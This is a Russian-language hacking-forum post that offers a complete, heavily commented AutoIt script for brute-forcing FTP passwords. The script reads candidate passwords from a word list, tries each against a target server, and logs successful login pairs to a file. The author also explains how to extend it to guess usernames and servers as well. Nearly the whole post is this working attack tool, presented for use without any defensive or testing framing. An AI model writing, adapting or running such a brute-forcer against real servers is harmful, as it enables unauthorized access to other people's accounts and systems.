Это наверное самый простой FTP брут и наверное проще всего его писать на скриптовом языке Autoit. Фактически любой брут тупа подбирает данные для авторизации путём тупого перебора,при удачной попытке авторизации,выполняет одно действие(обычно это запись в лог),при неудачной попытке выполняет другое действие,или же просто продолжает свою работу,без каких либо других действий. Этот брут будет атаковать путём подбора пароля,если же нужно будет подбирать не только пароль,но и логин,да и сервер тоже,то добавить пару тройку строк особого труда не составит. Скрипт по содержанию очень прост и разобраться в нём сможет кто угодно,даже тот кто не знает ни какого языка программирования, тем более что большая часть скрипта расписан. Код: ;{ инклудим необходимые библиотеки #include <file.au3> #include <FTPEx.au3> ;}********************************* ;{Создаём три текстовых файла result.txt,good.txt,bad.txt, куда будет записываться лог действий ;В зависимости от исхода попыток,удачная попытка,запись будет в good.txt,неудача запись в bad.txt и удачная и не удачная в result.txt _FileCreate ( "result.txt"); создаём result.txt _FileCreate ( "good.txt");создаём good.txt _FileCreate ( "bad.txt"); создаём bad.txt ;}************** ;{объявляем переменные локальными. local $server = 'ftp.server.net' ; создаём переменную $server и присваиваем ей в свойство адрес ftp сервера который будем брутить. local $username = 'login' ;объявляем переменную $username и присваиваем ей в свойство логин от сервера для авторизации,если же его нужно будет перебирать из списка,то нужно будет поступить как с переменной $password local $password = FileOpen("pass.txt", 0) ; объявляем переменную password и присваиваем ей в свойство открытый текстовый файл,в котором в свою очередь должен находится список паролей. local $result = fileopen("result.txt",1) ; объявляем переменную $result и присваиваем ей в значение открытый текстовый файл,в который в свою очередь будет писаться общий лог работы. local $good = fileopen("good.txt") ; объявляем переменную good и присваиваем ей в значение открытый текстовый файл good.txt,в который в свою очередь будут вписывать удачные результаты авторизации local $bad = fileopen("bad.txt") ; объявляем переменную bad и присваиваем ей в значение открытый текстовый файл bad.txt,в который в свою очередь будут вписывать неудачные результаты авторизации ;}******************* ;{Открываем FTP сессию $Open = _FTP_Open('Brute'); создаём переменную и присваиваем ей в свойство открытую сессию с именем Brute ;}************************* ;{ создаём цикл While 1 $pass = FileReadLine($password) ; создаём переменную $pass и присваиваем ей в свойство прочтённую строку из ранеей открытого текстового файла со списком паролей If @error = -1 Then ExitLoop ; если файл пусть то выходим из цикла досрочно $Conn = _FTP_Connect($Open, $server, $username, $pass) ; создаём переменную $conn и присваиваем ей значение конекта if $conn then ; если конект есть то FileWriteLine($result, "Server good connect,login: " &$username&" password: " & $pass& @CRLF) ; вписываем в файл для общего лога ,строку :Server good connect,login: " &$username&" password: " & $pass в которой будут значение удачного логина и пароля. FileWriteLine($good, $username&";" & $pass& @CRLF) ; тоже самое но без мусора впишем в текстовый файл good.txt Else ; если же не удача,то FileWriteLine($result, "Server bad connect,login: " &$username&" password: " & $pass& @CRLF) ; пишем в текстовый файл общего лога строку Server bad connect,login: " &$username&" password: " & $pass в которой в свою очередь будут логин и пароль при неудачном исходе конекта. FileWriteLine($bad, $username&";" & $pass& @CRLF) ; и тоже самое,но без мусора впишем в текстовый файл Bad.txt EndIf Wend ;}************************** ;{ закрываем ранее открытую сесию _FTP_Close($Open) ;}************** ;{ Закрываем все ранее открытые текстовые файлы. FileClose($password) FileClose($result) FileClose($good) FileClose($bad) ;} Описание к каждой используемой в данном скрипте команде есть в справочнике скриптового языка Autoit. Ни чего сложного в нём нету и переделать под перебор всех переменных особого труда не составит. ©SwAp TheHackWorld.in